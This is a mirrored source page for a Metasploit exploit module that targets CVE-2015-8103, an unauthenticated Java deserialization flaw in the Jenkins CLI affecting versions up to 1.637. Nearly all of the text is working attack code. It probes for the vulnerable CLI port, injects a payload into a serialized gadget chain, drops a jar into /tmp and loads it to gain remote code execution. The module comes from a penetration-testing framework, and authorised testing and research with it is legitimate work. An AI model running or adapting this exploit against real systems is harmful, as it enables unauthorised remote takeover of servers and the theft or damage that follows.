Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/jenkins_java_deserialize.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',
17
'Description' => %q{
18
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
19
the Jenkins master, which allows remote arbitrary code execution. Authentication is not
20
required to exploit this vulnerability.
21
},
22
'Author' => [
23
'Christopher Frohoff', # Vulnerability discovery
24
'Steve Breen', # Public Exploit
25
'Dev Mohanty', # Metasploit module
26
'Louis Sato', # Metasploit
27
'wvu', # Metasploit
28
'juan vazquez', # Metasploit
29
'Wei Chen' # Metasploit
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2015-8103'],
34
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
35
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
36
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
37
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
38
],
39
'Platform' => 'java',
40
'Arch' => ARCH_JAVA,
41
'Targets' => [
42
[ 'Jenkins 1.637', {} ]
43
],
44
'DisclosureDate' => '2015-11-18',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options([
55
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
56
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
57
Opt::RPORT('8080')
58
])
59
60
register_advanced_options([
61
OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
62
])
63
end
64
65
def cli_port
66
@jenkins_cli_port || datastore['XJenkinsCliPort']
67
end
68
69
def exploit
70
if cli_port == 0 && !vulnerable?
71
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
72
end
73
invoke_remote_method(set_payload)
74
invoke_remote_method(class_load_payload)
75
end
76
77
# This is from the HttpClient mixin. But since this module isn't actually exploiting
78
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
79
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
80
81
def target_uri
82
begin
83
# In case TARGETURI is empty, at least we default to '/'
84
u = datastore['TARGETURI']
85
u = "/" if u.nil? or u.empty?
86
URI(u)
87
rescue ::URI::InvalidURIError
88
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
89
raise Msf::OptionValidateError.new(['TARGETURI'])
90
end
91
end
92
93
def normalize_uri(*strs)
94
new_str = strs * "/"
95
96
new_str = new_str.gsub!("//", "/") while new_str.index("//")
97
98
# Makes sure there's a starting slash
99
unless new_str[0, 1] == '/'
100
new_str = '/' + new_str
101
end
102
103
new_str
104
end
105
106
def check
107
result = Exploit::CheckCode::Safe
108
109
begin
110
if vulnerable?
111
result = Exploit::CheckCode::Vulnerable
112
end
113
rescue Msf::Exploit::Failed => e
114
vprint_error(e.message)
115
return Exploit::CheckCode::Unknown
116
end
117
118
result
119
end
120
121
def vulnerable?
122
res = send_request_cgi({
123
'uri' => normalize_uri(target_uri.path)
124
})
125
126
unless res
127
fail_with(Failure::Unknown, 'The connection timed out.')
128
end
129
130
http_headers = res.headers
131
132
unless http_headers['X-Jenkins-CLI-Port']
133
vprint_error('The server does not have the CLI port that is needed for exploitation.')
134
return false
135
end
136
137
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
138
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
139
return true
140
end
141
142
false
143
end
144
145
# Connects to the server, creates a request, sends the request,
146
# reads the response
147
#
148
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
149
#
150
def send_request_cgi(opts = {}, timeout = 20)
151
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
152
actual_timeout = datastore['HttpClientTimeout']
153
else
154
actual_timeout = opts[:timeout] || timeout
155
end
156
157
begin
158
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
159
c.connect
160
r = c.request_cgi(opts)
161
c.send_recv(r, actual_timeout)
162
rescue ::Errno::EPIPE, ::Timeout::Error
163
nil
164
end
165
end
166
167
def invoke_remote_method(serialized_java_stream)
168
begin
169
socket = connect(true, { 'RPORT' => cli_port })
170
171
print_status 'Sending headers...'
172
socket.put(read_bin_file('serialized_jenkins_header'))
173
174
vprint_status(socket.recv(1024))
175
vprint_status(socket.recv(1024))
176
177
encoded_payload0 = read_bin_file('serialized_payload_header')
178
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
179
encoded_payload2 = read_bin_file('serialized_payload_footer')
180
181
encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
182
print_status "Sending payload length: #{encoded_payload.length}"
183
socket.put(encoded_payload)
184
ensure
185
disconnect(socket)
186
end
187
end
188
189
def print_status(msg = '')
190
super("#{rhost}:#{rport} - #{msg}")
191
end
192
193
#
194
# Serialized stream generated with:
195
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
196
#
197
def set_payload
198
stream = Rex::Java::Serialization::Model::Stream.new
199
200
handle = File.new(File.join(Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer'), 'rb')
201
decoded = stream.decode(handle)
202
handle.close
203
204
inject_payload_into_stream(decoded).encode
205
end
206
207
#
208
# Serialized stream generated with:
209
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
210
#
211
def class_load_payload
212
stream = Rex::Java::Serialization::Model::Stream.new
213
handle = File.new(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader'), 'rb')
214
decoded = stream.decode(handle)
215
handle.close
216
inject_class_loader_into_stream(decoded).encode
217
end
218
219
def inject_class_loader_into_stream(decoded)
220
file_name_utf8 = get_array_chain(decoded)
221
.values[2]
222
.class_data[0]
223
.values[1]
224
.values[0]
225
.values[0]
226
.class_data[3]
227
file_name_utf8.contents = get_random_file_name
228
file_name_utf8.length = file_name_utf8.contents.length
229
class_name_utf8 = get_array_chain(decoded)
230
.values[4]
231
.class_data[0]
232
.values[0]
233
class_name_utf8.contents = 'metasploit.Payload'
234
class_name_utf8.length = class_name_utf8.contents.length
235
decoded
236
end
237
238
def get_random_file_name
239
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
240
end
241
242
def inject_payload_into_stream(decoded)
243
byte_array = get_array_chain(decoded)
244
.values[2]
245
.class_data
246
.last
247
byte_array.values = payload.encoded.bytes
248
file_name_utf8 = decoded.references[44].class_data[0]
249
rnd_fname = get_random_file_name
250
register_file_for_cleanup(rnd_fname)
251
file_name_utf8.contents = rnd_fname
252
file_name_utf8.length = file_name_utf8.contents.length
253
decoded
254
end
255
256
def get_array_chain(decoded)
257
object = decoded.contents[0]
258
lazy_map = object.class_data[1].class_data[0]
259
chained_transformer = lazy_map.class_data[0]
260
chained_transformer.class_data[0]
261
end
262
263
def read_bin_file(bin_file_path)
264
data = ''
265
266
File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path), 'rb') do |f|
267
data = f.read
268
end
269
270
data
271
end
272
end
273
274